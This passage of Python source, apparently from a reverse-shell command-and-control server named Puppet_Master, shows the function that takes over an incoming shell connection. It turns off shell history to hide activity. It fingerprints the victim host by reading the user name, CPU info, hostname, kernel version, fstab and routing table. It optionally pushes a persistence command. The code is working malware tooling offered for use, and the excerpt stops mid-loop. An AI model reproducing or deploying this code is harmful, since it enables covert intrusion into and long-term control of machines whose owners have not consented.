Function handle_shell_init

Master.py:72–239

(reader, writer)

IPSelect.load_file("qqwry.dat")

async def handle_shell_init(reader, writer):

    init_data = bytes()

    randomStringInitSuffix     = randomString()
    randomStringHashPrefix     = randomString()
    randomStringHashSuffix     = randomString()
    randomStringWhoamiPrefix   = randomString()
    randomStringWhoamiSuffix   = randomString()
    randomStringCPUinfoPrefix  = randomString()
    randomStringCPUinfoSuffix  = randomString()
    randomStringHostnamePrefix = randomString()
    randomStringHostnameSuffix = randomString()    

    while True:
        try:
            randomStringInitPrefix = randomString()
            writer.write( "export HISTSIZE=0; echo {};\n".format(randomStringInitPrefix).encode() )
            await writer.drain()
            await asyncio.sleep(4)

            data = await asyncio.wait_for( reader.read(40960), timeout=10 )

            init_data += data
            if randomStringInitPrefix in data.decode().replace(f"echo {randomStringInitPrefix}", ""):
                break

        except asyncio.TimeoutError:
            writer.close()
            return None

        except KeyboardInterrupt:
            print("Ctrl + C")

        except Exception as e :
            print(traceback.format_exc())
            writer.close()
            return None
    
    init_command = str()
    init_command += "export HISTSIZE=0;"
    init_command += f"echo {randomStringWhoamiPrefix} && whoami && echo {randomStringWhoamiSuffix}\n"
    init_command += f"echo {randomStringCPUinfoPrefix} && cat /proc/cpuinfo && echo {randomStringCPUinfoSuffix}\n"
    init_command += f"echo {randomStringHostnamePrefix} && (hostname||cat /etc/hostname) && echo {randomStringHostnameSuffix}\n"
    init_command += f"echo {randomStringHashPrefix} && whoami && cat /proc/version /etc/fstab /proc/net/route && echo {randomStringHashSuffix}\n"
    writer.write( init_command.encode() )
    await writer.drain()

    #如果持久化选项为True则执行deamon进程持久化命令
    if Puppet_Master.Persistence:
        writer.write( Puppet_Master.PersistenceCommand.encode() + "\n".encode() )
        await writer.drain()

    writer.write( f"echo {randomStringInitSuffix}\n".encode() )
    await writer.drain()

    while True:
        try: